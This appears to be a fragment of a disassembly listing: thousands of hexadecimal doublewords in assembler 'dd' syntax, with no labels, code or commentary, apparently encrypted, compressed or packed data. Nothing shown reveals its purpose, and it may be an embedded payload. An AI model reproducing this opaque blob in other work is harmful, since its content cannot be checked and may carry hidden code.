0A22BE1E1h, 25CB88BCh, 8E4152F2h dd 0DE73FF2Bh, 2CE5F055h, 0B26B5CDDh, 431B1105h, 3C02EA68h dd 0D546707Fh, 0FEFE5370h, 4C9B6016h, 44643301h, 0BB3B78BDh dd 3C36C041h, 0FC2E10ECh, 0F5F0A7CDh, 2707B169h, 0A78BC2E9h dd 5C97EC15h, 0AC4692FBh, 0F85E66F7h, 0F8BABA9Ah, 41B53268h dd 0A4A0A417h, 57A8F281h, 0F63AB32Fh, 46C24E9Bh, 0EC5656A2h dd 6018E558h, 28EECAE6h, 4B76DC6Ch, 0D1F8BF2h, 0F60E4929h dd 0A116DC4Fh, 1F5B5F08h, 0CC06C66h, 0EA79C474h, 13283603h dd 0E5C1687Dh, 7EE93242h, 986EFC73h, 3A13A4D2h, 13496E3Fh dd 0E9D0721Ch, 0A0631B64h, 0ECF2C7BAh, 31C30BF5h, 0A3E85FFAh dd 0E4B7A0C1h, 1D5A5CF7h, 5B84BCB5h, 0B5AAB36h, 797E4B97h dd 98F2100h, 4EDA6222h dd 0F18255D8h, 105063Ch, 4C56F6AAh, 0D7EE2FBBh, 0F15F5B09h dd 9D527A1h, 24E575C3h, 0D5DE640Bh, 0DA2FC6C6h, 5859CC40h dd 1C045C51h, 0EA744C26h, 0E90B7A8Ah, 0BBF7B387h, 0FD3FDA20h dd 0FE59D685h, 0E9C2BDA6h, 745F7FE1h, 2B4F41C6h, 0E8C06F13h dd 580C30D3h, 82767F75h, 0FEB5FD70h, 0A4FE2D02h, 0D6D575Ah dd 5B086489h, 0B569F72h, 0EAFE4E98h, 822CD750h, 0E2C996EBh dd 0BBF0C3Bh, 4A011083h, 54B88B57h, 53AD84A2h, 0CFA180F0h dd 74EC1521h, 9D121598h, 53AFA9F6h, 0FADEFF5Ah, 0EA099A17h dd 0E2AEDA24h, 72F86C7h, 2AF07723h, 0CBB97942h, 3D6515Bh dd 0ED6B60EDh, 2F2A8414h, 5F14FAD2h, 123CDBD9h, 0E8227337h dd 0B4040334h, 0D32CF081h, 448F7D9h, 0A82BC7F5h, 8F657D65h dd 67EB5E8Bh, 0F2A1EB6Bh, 6A58E388h, 758071E4h, 96EBEEC3h dd 98472DA6h, 0C3FAE909h, 3DD5A941h, 17F5A76Eh, 0DBA58866h dd 4AEEA740h, 89125CB5h, 362C905h, 6D30977h, 0ABF60A82h dd 2E654E07h, 0FD31C791h, 0B03AEFC9h, 3A2F6815h, 6D319876h dd 0E3E70BD2h, 60D5EF81h, 4EF5E9FEh, 0B0B5AC20h, 97676968h dd 0E8C20AD9h, 592E545Dh, 2C4325F8h, 9BE4B07h, 0A2FFABBDh dd 4056EF84h, 7D01269Eh, 84B64BFDh, 2F43890h, 0F034FF90h dd 2BE22F6h, 0CF49A66Ah, 346B43D5h, 80064504h, 9D5D61EEh dd 84E9AF13h, 0FF2E60F1h, 2F295E2Dh, 436DEE4Ah, 79E91C89h dd 0D595C450h, 1D2E5E9Ch, 5E1DCAEFh, 0C6A01E96h, 0FFF8B55Ah dd 0AB2E730Eh, 6BF5C039h, 0F8B5A29Ah, 0F24FEC2h, 0EA01474Eh dd 908A8DCh, 3360685Dh, 16B31475h, 237C38E9h, 0B0E8C800h dd 0D6F85952h, 30095BBCh, 1AAF83E2h, 0D8C30F2Dh, 96259B04h dd 0FFDCD760h, 26917C9h, 0C06E683Fh, 9C3515B9h, 0EC84BD16h dd 16B5A22Eh, 0CEAFD021h, 68560480h, 3DAA4E0Dh, 3DFE3ABBh dd 66286FE8h, 126225E9h, 0EE9814DAh, 0E8202AB2h, 38CCCC42h dd 1F4B9B15h, 0F395B531h, 51558802h, 0FC5B96A9h, 0C260D1B5h dd 0D6415968h, 0E9EA6154h, 6922CB91h, 4A42B0A5h, 0C5A3AD61h dd 10E8E829h, 0EB0DE480h, 29B4D56h, 1717BF15h, 3EBD87EFh dd 0AAF6D505h, 59163062h, 3AEDB973h, 0CBBC8416h, 0E90BA072h dd 86DB64E5h, 8EB1EB87h, 0CB52627Bh, 34282274h, 0BC4B6B0Ah dd 531EE90Bh, 0E5B62A0h, 0BA669656h, 4AFD8B20h, 22A2885Fh dd 2168391h, 340E33FBh, 0FED861EFh, 0F627E8C0h, 1AED8AB7h dd 0FFBC7F12h, 0A219BC1h, 2057C543h, 0E4E8DCDCh, 0FE450F30h dd 7D9123A9h, 996E9037h, 0D7C81D12h, 6A55A163h, 808F2C11h dd 6B7E8568h, 53359C51h, 0BDBBD610h, 0C1930B5Eh, 67359A00h dd 0A50A5A0Dh, 0EB9CB4E9h, 0A0BC8392h, 905A8D7h, 5E67B80Eh dd 467E844Fh, 0ACA9826Bh, 0B7741455h, 383D075Bh, 3DEE5B28h dd 108D2242h, 4A3BC4A0h, 0CCA22812h, 225B82F3h, 0B94F91CAh dd 6F3A511Dh, 0E91947BCh, 2BADF780h, 650EAF8Bh, 0D678D160h dd 3B2C4980h, 0B8024205h, 5569B221h, 5AF75CA1h, 0E933E02Dh dd 22393B2Dh, 0FF05F85Fh, 62950270h, 0A4D957EDh, 17394669h dd 685F5457h, 1CB85C03h, 139BA275h, 0DBE4C84Bh, 0A7418297h dd 0A3846A44h, 68C23EE9h, 4AC7570Eh, 7049E99Ch, 0F9810BFAh dd 28CC082Fh, 6DCFBB01h, 0F530721Ah, 671E779Fh, 0A0CE0C59h dd 0BA523598h, 1C754E0Bh, 0D0485D07h, 9F3B2C03h, 0A5E3034Bh dd 0E06A4A2Bh, 2D2221F3h, 0C3D04002h, 847EDB97h, 0EA4CC6E9h dd 0F620DA3Dh, 0BC255BABh, 0A4EDE093h, 16210F12h, 0A81CC501h dd 4879B708h, 0C5C35E69h, 3BD1BBEDh, 7BCEF9E9h, 0EDD18F3Eh dd 3FAB06ABh, 0EA2A7550h, 309F55F6h, 97C54D3Ch, 0B716165Fh dd 0C2E605F8h, 9EB9E988h, 1C872C12h, 0C7E3C2BDh, 0E1CBFEh dd 0D7590230h, 66F62FE8h, 2D6D413Fh, 0E18B683Ch, 276A1D7Dh dd 0C5C1826Fh, 807FE479h, 3652B1E2h, 0E579760h, 0F2AF65A1h dd 0D8105FFCh, 0CEF15F89h, 4CF680ECh, 5A3BFB4Ch, 0B91EB17h dd 83F83323h, 264DE795h, 45928B23h, 0D9427259h, 0A9780B44h dd 0BF2D0E86h, 9012C43Eh, 0F4FC415Fh, 0FE48EB10h, 0BA51C4F1h dd 242FA0F3h, 0CCFFCE62h, 0A57A9007h, 0D0E98BEBh, 6B904ED0h dd 0AC350304h, 95E02C1Fh, 9639163Eh, 915DAA3Bh, 0BD765000h dd 4A71E961h, 0DCCBB435h, 0C1DF9C64h, 583F92BAh, 74A2E570h dd 13D9787Dh, 0EA3147E9h, 1FF0CE88h, 49386451h, 0A2A01C9Bh dd 5F475444h, 1603F1B2h, 0E9A81B12h, 49EDD5FBh, 7A401E89h dd 810EC680h, 0C912B551h, 6F302EDh, 4AF9C4DCh, 520B8864h dd 0F503EC12h, 2D39E6EFh, 0D8B53289h, 0AD2B708h, 0E168AC0Ah dd 0B3609D4Fh, 6F380F7h, 0F6E386FDh, 0F58208D4h, 0F52D7E7Eh dd 0E969D636h, 0AA12555Eh, 7DE64A5Dh, 5FA70465h, 198AA5A3h dd 9EEF5D07h, 6B8FA479h, 26CCD8A7h, 0CEDDF7h, 7F2809A0h dd 0FECEFD29h, 4CBA153Ah, 73507055h, 14CDADAh, 65C8589h dd 0A9F13BE5h, 688E302Ah, 0E6976BD6h, 21F12F52h, 0DC0289C6h dd 0C146E251h, 27AC50EAh, 2AFC6598h, 79D5F770h, 80E53F4Dh dd 0C065D18h, 8920788Ah, 69EB0925h, 168963CFh, 609B8807h dd 0D6F7E6D1h, 0BBD0A97h, 26CC361Eh, 4FE91A21h, 0BE71827Dh dd 4BDB72DDh, 90C018D5h, 8980EF56h, 0F091A3E1h, 149380Dh dd 0ABE7814Fh, 607A4637h, 0FA038433h, 23E9B7FFh, 0B9340268h dd 742B2FF7h, 3053705Fh, 0F24640D8h, 64676B27h, 9C909E0Ch dd 0BE43E96Eh, 61FD255Dh, 50EA3926h, 0F2F580E4h, 6D3612A9h dd 0BE63C563h, 2D14B28Bh, 0F5105D47h, 0A3BD4F33h, 8850B107h dd 58E520D4h, 8302B05Ah, 0F7E9E828h, 5B93E6BCh, 2550B8B3h dd 2DF3FB96h, 0EB4F7A5Eh, 2DE1F47Eh, 0E07B777Ch, 0EB382054h dd 736846Fh, 8B295B07h, 60F22AF4h, 800F468Fh, 320098BAh dd 0E6BD281Dh, 0B536682Bh, 66161676h, 0E25A53FCh, 7B86B139h dd 9F49D205h, 0F680675Ch, 8E12239Eh, 2DF55889h, 0F87C182Fh dd 2A68246Fh, 4A00A012h, 0BB79771Dh, 8688B644h, 0EC5BBBFCh dd 0BBB92DFh, 0D3820C3Dh, 6601221Eh, 0C9DBB368h, 0F93E6AADh dd 7568F0D2h, 0D298970Bh, 2BE1174Dh, 0A2923EBDh, 5289409h dd 716013ECh, 110FA7C0h, 2653F092h, 812FA2E9h, 0D85F3DB9h dd 2089E84Bh, 0BB54F19Dh, 0F9B71FA2h, 2868C2FEh, 505318D7h dd 350F60E9h, 7B0A5ABFh, 2DA4369h, 0D56C2514h, 0D17810D8h dd 26B23F5Bh, 53801B3Ch, 7DFD2DBDh, 295C280Dh, 270741F3h dd 85F03EA8h, 73FA581Bh, 0B27C54BDh, 30BB015Eh, 0C11FDB7Fh dd 0CCF221EBh, 412F1238h, 0DD7A0B8Fh, 60552AEAh, 5B5353Eh dd 29C7BA14h, 26B8C2h, 52FC69C9h, 3067925h, 0E52D2A80h dd 0D909509h, 0D00F4AE1h, 94E8D14Bh, 2B8913E3h, 0A6404EFh dd 0EBE105Eh, 0AF7C7008h, 74098447h, 7FAAC9BEh, 6B260F84h dd 7147176h, 0B7252DA5h, 0BE06A47Ch, 547F2D8h, 0E92FA80Bh dd 7A56FA12h, 91F25500h, 90651805h, 223E25D6h, 3AEA4BFCh dd 5C5B1909h, 6D94BB7Bh, 0EBD2DD38h, 0B4054C16h, 0FA99CC0Bh dd 0D29B35E4h, 7F308ABBh, 2F25BE59h, 0AD1D4B2Dh, 0BD7A27E9h dd 0E3403129h, 2981E6C3h, 3F6C053Bh, 440E33Ch, 65704EE0h dd 5A03C480h, 0D2234E87h, 0F858D092h, 66CE682Fh, 4E4EF022h dd 10F9B35Ch, 44CBBF57h, 445F0FB2h, 0F8E04A43h, 0F69F4BE5h dd 0B10C804Eh, 0D10EF6CCh, 17E0F180h, 0AA202EACh, 3A0014BCh dd 0EE813676h, 0E90DC2B0h dd 87C4F89Eh, 58596560h, 946B6768h, 2805AABh, 768E71A6h dd 4BD33507h, 1F05EEh, 0D7A9F72h, 5EF3E4C9h, 1973A079h dd 78114B41h, 9647FE01h, 32F183Dh, 13E38053h, 0D3F6CBE0h dd 12CBC3FAh, 0A7738722h, 5217C5F0h, 7E297EB6h, 0C3AEE4C6h dd 0DEF66B06h, 0EFCBCEC1h, 0F583C5B3h, 0C78BCA26h, 0FC50B382h dd 0F841DF43h, 0B1452042h, 13AB15D6h, 2AC1B385h, 5F5EB9F8h dd 0DBE241FAh, 7E56D3DCh, 8B3F7CF1h, 19320055h, 0D4E97A66h dd 5979ABEh, 0CD215BD9h, 3482A459h, 5D97FEE4h, 0EBB4EB1Eh dd 635B52h, 273633E1h, 584D99E9h, 0FE5928D3h, 0EA7178C9h dd 277A5C45h, 76E94C76h, 0F19C0C11h, 720BBB84h, 5444F611h dd 7DDB6903h, 13133594h, 0CF84A1E9h, 292F92A2h, 61272CF8h dd 0A73059BAh, 0CEF1390Bh, 4DFB4150h, 59D002FEh, 0FD7CE983h dd 26C9224Eh, 0B7E71360h, 0FA5CCE8Bh, 264F66C0h, 4014560h dd 2075C208h, 97B78F50h, 0EA502736h, 65BCE02Dh, 0B76D0868h dd 0F6C5B21Fh, 0D5EA53DAh, 76B70B9Eh, 5DF41A5Fh, 7920239Ch dd 87595EB4h, 0E84594BDh, 0E68091Dh, 5336997Bh, 145295E4h dd 8D5B73BCh, 0C727EB00h, 8CA8115h, 0C923563Fh, 2A4B0169h dd 0D3310D46h, 0E9857D2Dh, 4A0BA87Bh, 53977DFEh, 0E2C18334h dd 14713051h, 4412571Dh, 7C19B9C0h, 28E93DB8h, 9ECCE555h dd 42E24AFh, 82876E54h, 0EE00E69Bh, 5CE369DDh, 84046E7Ch dd 0EA1A8317h, 84169FCh, 4643CE01h, 0B422EC14h, 5E10B3AFh dd 2A3539FEh, 9C215D8h, 6EE01D18h, 8A04276h, 39DBE915h dd 241010B6h, 325EBEC0h, 292C2FC7h, 9943D8F7h, 0C2E84FE7h dd 0C45F5001h, 5740BDBAh, 644BEF3Bh, 3F2E8BAFh, 2C10B0E9h dd 0DE02E3C1h, 2F90DF07h, 55526651h, 0FE012916h, 0F6E586C5h dd 92D330D4h, 0DD32D8ECh, 37588951h, 645D8D21h, 0DF4A601Eh dd 4ABB19BEh, 0EC091FEEh, 0F929C340h, 82FAC8F1h, 52CCB828h dd 21576166h, 0CC3E7F75h, 94B85794h, 0D527B425h, 30E242BBh dd 5B15FEF4h, 78D6DF70h, 927129BFh, 75FF553Bh, 0D80442B7h dd 82E1C33Fh, 796CDDh, 0F6913C4Fh, 1096905h, 0E8012CB2h dd 2A39D268h, 6F0C730h, 8B444A37h, 38D2596h, 0F4206856h dd 381010F3h, 0F803B86h, 1B5166E6h, 0B7CEDBE2h, 9BC71A4h dd 1F7BAD24h, 0F17452E4h, 81C31002h, 711208E6h, 0B80169D2h dd 36280175h, 0C097903h, 0E1C0E976h, 0EC6E5D77h, 0A591B594h dd 17DD1A10h, 0C205906Ah, 302561D4h, 0A5288AB7h, 0A459FA00h dd 0F5B5E96Ah, 0BF2D5493h, 0CCCE8259h, 0FB78304h, 80BE28D5h dd 827FC739h, 9D6835CFh, 99B7E613h, 0F94B0C5Bh, 0E40CC139h dd 0C106D66h, 0EC587D21h, 0A91B4BE9h, 0C4B77B04h, 0C413A0D6h dd 0C23DC026h, 79A0C31Eh, 0E3173D90h, 0A2006416h, 5C51B8E7h dd 0BA9906Ch, 6EBC611Ch, 4CE9AE60h, 0F320754Bh, 9BD5556h dd 11FA250Eh, 5B54A5Fh, 0C12EB8Eh, 57DAF4BBh, 55AD898h dd 0DC000D99h, 5EE21511h, 0E714FE3Eh, 7398507Fh, 0DED12934h dd 0BB100812h, 2F0F5817h, 2CD4C791h, 0FE65054Eh, 0EA68C0CEh dd 815E39E9h, 56C1D4B3h, 6D2D88E9h, 0B3FFA4E4h, 1CFCD761h dd 362316B0h, 0CFD5158h, 62D2F7D6h, 0FDBFF5C0h, 0FDDF411Dh dd 1156634h, 7ED829A5h, 1C1C3082h, 4BB379BFh, 0D1530374h dd 0A86AE1F6h, 2D104845h, 0C16A93A6h, 10899553h, 71D70158h dd 1A59A5C9h, 12D97B69h, 9B0E028h, 0FD5BDD2Dh, 8D251E02h dd 0D3238109h, 103AC63Bh, 841F99Ah, 2730FA75h, 0FEEC240Eh dd 0E0F38D79h, 0DFBC3F0Ch, 0FBB836B1h, 0A6E7ABFCh, 0EFC58385h dd 0AF4F379Ah, 27E90438h, 0E2FC8AF5h, 8B0F0865h, 7795AE25h dd 99615BCh, 0A2F7B05Eh, 5E88A940h, 3D605295h, 581BD5Fh dd 2506AC6Bh, 0A0C6DA2Dh, 240DCEAAh, 3A4786Bh, 18916348h dd 74D10C07h, 0C93398h, 0EF275CF6h, 0E145FE9h, 8083B5C7h dd 0AD1BFCDh, 4BD82D2Ah, 0A864D3EBh, 0BE12D7F8h, 0B35EE605h dd 2DAB315Dh, 0D877EECDh, 0E8E0A59h, 278E4DBCh, 2981AB76h dd 0AC48E9EBh, 5666283h, 0C4A734CBh, 0EBD384F0h, 7AE2C6CDh dd 577F487h, 7168553Ch, 0C4B7A851h, 0EB56671Ch, 85AFF125h dd 5F9E2CFFh, 0BB65D9Dh, 0A84E65BFh, 229D2790h, 2ED0F60h dd 0E905E6B4h, 48E3E26Ch, 10E44B18h, 5326685Bh, 77E9A13Eh dd 265FC2E4h, 977BAAB0h, 635D8607h, 3E16DFA1h, 671C60BDh dd 6CE58181h, 0A06B9E05h, 13F5C62h, 3FE90992h, 50017427h dd 0B82298Dh, 5D42D5B7h, 7C7C4375h, 28F1055Bh, 0E1452E25h dd 0D00B29BDh, 0ABF95EE6h, 14FD5CA2h, 0C05F96A6h, 986775EDh dd 0FD01541Ah, 41080B28h, 0E70794C8h, 9B428BFEh, 9FBC3941h dd 0B52D317h, 59C52AE2h, 0BE6C8253h, 7C59D509h, 0C13F4AAFh dd 0C100E545h, 35B003E2h, 0C46C2C05h, 0A0AB4A1Fh, 84905BFh dd 5FF81652h, 22ED2DE1h, 0AEA2166Ah, 8BD4E177h, 955AD2A0h dd 68287972h, 38C4A7F2h, 0D51225DBh, 0CA92EEDCh, 0F745CA5Eh dd 2FE9D848h, 0B9F3E54Eh, 0C131E25Ah, 210C07A9h, 9A16F469h dd 0EE322503h, 0E98297B7h, 0FBC8780Bh, 0A09CDBDh, 8D5F505Ah dd 8EADB835h, 8B494C79h, 78657D8Fh, 7EA5F22Ch, 7C01F0A4h dd 5A07549Fh, 354A40DFh, 40950B3Eh, 0D44231E9h, 2F3FC210h dd 0B50224B9h, 0D71DEC02h, 8821850h, 30FF02F5h, 4E9B5E74h dd 9075A816h, 0A7D33B4Bh, 0BB0E002Eh, 4BAF466Dh, 677B6134h dd 52347A56h, 688239BCh, 747C6C7Fh, 7CDDDF43h, 0C5E47E4Ah dd 0C832053Fh, 36411F9Dh, 0ED02BB62h, 75D638F9h, 0BA4A7640h dd 0D7428227h, 15316B40h, 0FD08189Dh, 0B9A94F3Ch, 0EE8103B1h dd 945657CDh, 0ED108984h, 8E91208h, 3E813356h, 8C6EF1E7h dd 1A41D2CDh, 0B38186F5h, 0E8839141h, 15DAD301h, 60D0BDEAh dd 62D340B7h, 0B64B8344h, 5A2CD9A9h, 0C35B4283h, 4F782DC3h dd 9C15DF9Dh, 41B07B12h, 0FB53C51h, 0FE2D1A3Dh, 51B79566h dd 6C9A005Bh, 300D21A7h, 59E6004h, 4AA0C4E9h, 254B3168h dd 0D5C655h, 784DB050h, 0BF33F408h, 0D9F72402h, 8DA60055h dd 1385B2CBh, 0EB59CA31h, 0B8C094B2h, 66C520EFh, 61FA314Bh dd 2E0B689Ah, 2D284BD0h, 30447B33h, 0B9D13CEFh, 5F257E1Ah dd 5CE5225h, 0FC3DE8F1h, 369FA82Dh, 6188E49h, 0CC4BC92Fh dd 61988C89h, 8F307541h, 1D39BDC8h, 0E9C2ECC3h, 1EDCAA2Ch dd 0C711A2C6h, 27C5DADEh, 0AD99B2E7h, 17683F68h, 9C921154h dd 0C3F8A99Fh, 0FCD3F3D8h, 14C33598h, 527C6A59h, 0C6EE5F05h dd 2BF1FFE6h, 854456FEh, 0FC3A7167h, 65ADD62Eh, 0AE23F617h dd 0E3FF0335h, 1A954A0Ah, 0D6605609h, 0ED4F9708h, 0B2C701F8h dd 3178A763h, 582FEC6Bh, 26F219CBh, 56E0F7BDh, 4A12F451h dd 303A21F4h, 1A3D7BF8h, 4710E179h, 7045F78h, 46C08651h dd 0A0D7F601h, 7A805906h, 0E5C010C5h, 6C07B04h, 68D5F62Ah dd 0CC354A3Ch, 0C3FE716Bh, 7F0683F5h, 0C802E3C0h, 27E936EBh dd 0F62042BCh, 34B06899h, 58CAE4C0h, 25E923C4h, 0FD442B75h dd 8C2A4F97h, 0CE5149DEh, 0A908DF09h, 406FFE46h, 0F1205685h dd 17E37C97h, 16C90ECEh, 468FAB16h, 0B9F54B5Ch, 0A22B138Ch dd 0A38087A2h, 816D310Bh, 0DA2F635h, 0D206F0ABh, 30833816h dd 292D12FCh, 68606E76h, 7FAA1CE5h, 0CD96B51Dh, 660A2C70h dd 0FBF22112h, 0F1F0303Bh, 4C7FFAEAh, 0D7167ABEh, 8C76AF5Ah dd 30C25B5Fh, 0E9DBB4ABh dd 17AE9626h, 592C2389h, 19F582C4h, 90D53421h, 2D3EA448h dd 67548423h, 25EDC808h, 0C38153F6h, 319C1E2Ch, 0F070EBE5h dd 122B3892h, 0FA4AE98Bh, 890CD6Eh, 932D2D98h, 4483F432h dd 0A9F88501h, 1ED0856Fh, 6E0AF720h, 0FC7F4EFCh, 8A17E25h dd 0A2FD2F5Eh, 79F55CA2h, 92E941A6h, 9A756DEAh, 65AE0258h dd 8388059Ah, 0EFA1C583h, 0E77F2066h, 0DFF67B12h, 5738EE09h dd 87823FCEh, 0A0088351h, 9668057Eh, 35B03743h, 514CECFAh dd 1A27BF9h, 0B164FCF4h, 0C32DFB49h, 0A7415F05h, 609CBE5Dh dd 0CBFA4E01h, 850F68C2h, 2D55B708h, 0CB7D6F6Ah, 0B90C4F16h dd 0B1455A25h, 39BA71B7h, 5888F8D8h, 0EA4A1095h, 185D1D2Fh dd 23E28136h, 203B4E55h, 12DD0229h, 7F822F46h, 0B304BD2Ah dd 0EF91AF60h, 5F02B859h, 0AF208761h, 0C4DE6E59h, 133FFC2Ah dd 0CAE8140Ah, 65B521AAh, 35A611h, 6850510Ah, 80A97B28h dd 307DFA29h, 0B7375B96h, 0D5204C47h, 6E9F5FA1h, 4BE961A0h dd 538D8550h, 0DB2EFBD5h, 0FB2FC241h, 0A45BF97Ch, 55512D24h dd 5524C6D1h, 0FB3DBB85h, 0EF5874ACh, 0EB448512h, 30BD0531h dd 7A285901h, 0CD48EFCBh, 0B652770Bh, 0D95D2770h, 320916D6h dd 0B893A2FDh, 0A410130Fh, 0D73731EEh, 0D37C69A0h, 1BF0EEEh dd 39009474h, 0E903DA79h, 6681DE22h, 0F677076Ah, 1F5E4FD3h dd 80EDD35Bh, 627F689Ah, 666036B6h, 55593478h, 897F8F57h dd 663B5189h, 0DD2902C3h, 475B5D69h, 153BD3F1h, 93D81B17h dd 0F70162FBh, 0CA7AE78Ch, 1EF7F164h, 0B0FBCCBFh, 33570F58h dd 85E70628h, 0A21DE8C0h, 0E77582FFh, 912B9D2h, 8CA85B1Bh dd 3E0F79D1h, 0D11761F2h, 0C7C82480h, 640CA313h, 0FE2C081Ch dd 0D004C05Bh, 17934C2h, 6658C708h, 0D22C0F68h, 612F5852h dd 0FD3CA133h, 0B0FFD485h, 241636E6h, 0DE1C64h, 996B7870h dd 2D5F06E9h, 0FF9679B8h, 60424022h, 3EB1B935h, 6416E606h dd 274FA29Eh, 39BFF92Dh, 0AAF9D334h, 0F521AD8Dh, 0B9E18ECh dd 0CA23E95Dh, 0F273A974h, 591C687Eh, 0B6DE60F7h, 2FA44011h dd 41460CC0h, 0B831964Eh, 0BC70B562h, 0EF1A84Ah, 0A23CFB2Bh dd 17214EE9h, 5D9FB33h, 68163E28h, 5A138CB8h, 1CBF2A1Fh dd 5CF5D24Ch, 11310ABBh, 11A9442Fh, 0FDC22764h, 4E004909h dd 23113435h, 0ABAC86D3h, 6A25F7B3h, 8C6079C7h, 0D7529C50h dd 0E121FE5Ah, 0BD0032D3h, 4C1671ADh, 2CFA0102h, 0BB0753D8h dd 42091BA6h, 4F5BDF20h, 82EF0181h, 0E917122Fh, 0EC133A0Fh dd 3CF135E4h, 6EBC6C7Ah, 591C4F81h, 3C0A4568h, 20D2C4EBh dd 6B055D00h, 79135064h, 80095451h, 2C8691Ch, 0AF4FDD7Ch dd 0F91A828Ah, 79F7D0D6h, 0F58769D1h, 0EA01F8BEh, 0F58A002h dd 66DAC2EDh, 0BCB87D4Ah, 29D74B16h, 598D7589h, 98E57A38h dd 5BA6042Eh, 664A28Fh, 0D9F7CD87h, 0EDC12E08h, 0DF8239EEh dd 9B4A347h, 0F7957CC4h, 0E159613Eh, 69502579h, 81ECCC31h dd 622196D8h, 9F767645h, 27D76F88h, 43F80FFh, 2EC928CBh dd 181FE21h, 821E29C6h, 0AFF77124h, 8EAE5E86h, 0CCB2EFE9h dd 0EA5C5004h, 5FEEA589h, 26A0CBE6h, 53500676h, 0E2681355h dd 4A0E34Bh, 69BA3108h, 0F30644EBh, 0DC660B74h, 8B021E65h dd 0C665D4A7h, 0BF32173Eh, 71DE8041h, 96E90815h, 264C5738h dd 0CF44619h, 2E78F1ACh, 8F205048h, 4889C889h, 0BBD7A3C2h dd 0BE12EB9Fh, 0EE214A1Ah, 0FC53D6CCh, 5ADB67BCh, 0BD687051h dd 414F0674h, 0F3C090A2h, 0E0D51C3h, 0F8EBC128h, 651887E6h dd 2C1E5C0Bh, 0ADD525FFh, 30F509E2h, 97847390h, 3739CFA0h dd 45BD02E5h, 54678034h, 0D2F71DFDh, 0A9CA8724h, 0A8F4C613h dd 91EB95EEh, 53030C7Fh, 0DBE965DEh, 3524757Dh, 32CED56Eh dd 0B2111199h, 26C1C224h, 3D005E6h, 4F963FBFh, 8122Ch dd 3BA00402h, 261D7C02h, 205C08F2h, 0FE136809h, 5B006B1Ah dd 11D53E1Fh, 442D5802h, 0D59AFAE0h, 8FE9A281h, 74AA2BBBh dd 0E0D6C8C7h, 0DA8F86Bh, 9130ECCFh, 14DE6084h, 0F268E2D1h dd 0D62F1148h, 0E90B15F9h, 3057F61Ah, 8309023Ah, 897D47F2h dd 5219DED6h, 96B879F5h, 3AF3B17Ch, 4F415E8h, 0BA4C2B37h dd 0E28566F3h, 5B234B8Dh, 86A14D5Dh, 0E0F3D6E9h, 28DDB102h dd 7F5966CBh, 0E914654Ch, 9E6F7917h, 4B84E555h, 41323A7Ch dd 0EF314475h, 43612BB1h, 0E4C6BC7Eh, 76D13C82h, 982BEBCDh dd 3B055200h, 4C4CA975h, 0AD6021DFh, 0FA6DAF1h, 0F8368402h dd 6AD2D706h, 0C67BFA00h, 1BE18148h, 37973753h, 7F890E0Ch dd 0E0C9AC00h, 2D177408h, 0DC53B0E9h, 51250DACh, 0E9099A5Bh dd 5ED558C0h, 4B25AD5Fh, 680C9CA6h, 95D56130h, 25660240h dd 0D3D9505Ah, 8857B584h, 4D7E81AAh, 8273ACFBh, 0FED95804h dd 39EBB800h, 250054C1h, 296D03B4h, 27C7C62Dh, 0ED82F28Eh dd 5DCA6FF3h, 62020A7Ch, 0D936E079h, 685E4194h, 82616AD2h dd 82047426h, 0F6EA9AFCh, 6C2702DDh, 0CD3103ECh, 0A59D74F1h dd 941C160Eh, 0ABBA470Dh, 9781CC7Fh, 8010661h, 52175E3Fh dd 0A7B0BBDFh, 0E3F69559h, 5A20D6A8h, 9A1B018h, 46384C16h dd 40B05E00h, 0E9166932h, 5E2C0910h, 37C03268h, 8FF83C69h dd 31BB9597h, 562A1BDh, 0B54D05EAh, 0E898BE72h, 715F8A21h dd 9FFAA2B3h, 0A15635D6h, 0CC3A132Dh, 80123B8Ch, 0B6FD79EBh dd 2C5A1475h, 6D20BFE6h, 505D6817h, 0CD8EB61h, 37849828h dd 0DEF81277h, 0D2043C0Eh, 0D9CA09B6h, 647BEF29h, 37102124h dd 8B13413Bh, 2E64AFF5h, 290E8F0h, 0C16B575Fh, 46D503E9h dd 0C09BA089h, 67273F7Fh, 29783412h, 1FED2BD9h, 84A3F397h dd 1313D1h, 29D52D4Bh, 1DF81108h, 88AF244Ah, 0BA05521Fh dd 48A07DD1h, 0F2F84FFBh, 92CBC801h, 6B93F5E9h, 6C44BD65h dd 0B2AFFBECh, 5189DFDFh, 204BFD08h, 0F28CDEC0h, 70098B2Ch dd 0B050A039h, 996876FEh, 3B25BFA9h, 6E59DFE1h, 410A282Ch dd 31362C26h, 38773BD5h, 0E22AE521h, 56FE499Dh, 72BA5B20h dd 55745950h, 89C5FE52h, 517FFE93h, 17BB600Eh, 762EDB3Ah dd 0EE030143h, 0B01D265Fh, 483E95CBh, 7217015Bh, 0D2E9BCAAh dd 5DC782BEh, 7A34B780h, 9690537Dh, 0DC3BD074h, 0A8CA0262h dd 0C0042F4Fh, 49E2C18Fh, 0E350AD08h, 0D12912AFh, 1760EA5Ah dd 0E159B168h, 0E4F1BC6Bh, 40E9F7FEh, 5B4FE9C9h, 0FF2AE8A1h dd 427E272Dh, 0C09AB466h, 0E4808181h, 39BDBF2h, 53EB90B7h dd 70BFE788h, 94E92FE3h, 0D4D31FC3h, 4FA21440h, 0C0528B95h dd 9E399656h, 0A336C272h, 0D195B3D5h, 0BC50D764h, 301517EFh dd 270C4708h, 55FF70Dh, 820E0FB0h, 852CFC07h, 7D37A8EEh dd 510B92FDh, 0F17D04EEh, 12ECA9F5h, 0E3AA82D8h, 0FA8982DDh dd 1B14C5Fh, 43F0BF57h, 88317154h, 1627A2E2h, 4651349h dd 814A2A94h, 8CB93CF1h, 6CD205DBh, 0CB6292D4h, 0B92807AEh dd 1F64AEAh, 183261CAh, 9CF0400Ch, 9092930h, 0EE5EE4E9h dd 0FE575E67h, 0B22B1E2Ch, 9F7BAA1h, 49EE609Ch, 781ADD8h dd 0AF96B5Eh, 88BEE909h, 520F98D3h, 0C2B7895Bh, 5358743Dh dd 7D7E31F1h, 3A9202ACh, 0E0814112h, 48F31DF8h, 7601680Bh dd 2942E75Ah, 995DD6D3h, 8E6B1C3Dh, 31EB023Ch, 40CDBDAAh dd 962F882h, 0DA294893h, 1D4BE400h, 2D052863h, 64340F3Ah dd 8BD40FAh, 628CF835h, 8E3A9863h, 142D028h, 2A6A2C2h dd 0F55B5808h, 0C632E74Eh dd 57C2E7B2h, 7F660F2Fh, 437616DAh, 5EE5BB54h, 50075E95h dd 5D9D02C1h, 599D2B9Eh, 0F02E1C87h, 956AC369h, 0D6BC1925h dd 96D52768h, 0DA9A1E70h, 65FF25FEh, 7C443C7Bh, 2124CF62h dd 87DC57F8h, 0C0963550h, 6F28C675h, 0F8F6144Bh, 7CAE315Eh dd 0BAA05C3Ah, 18277244h, 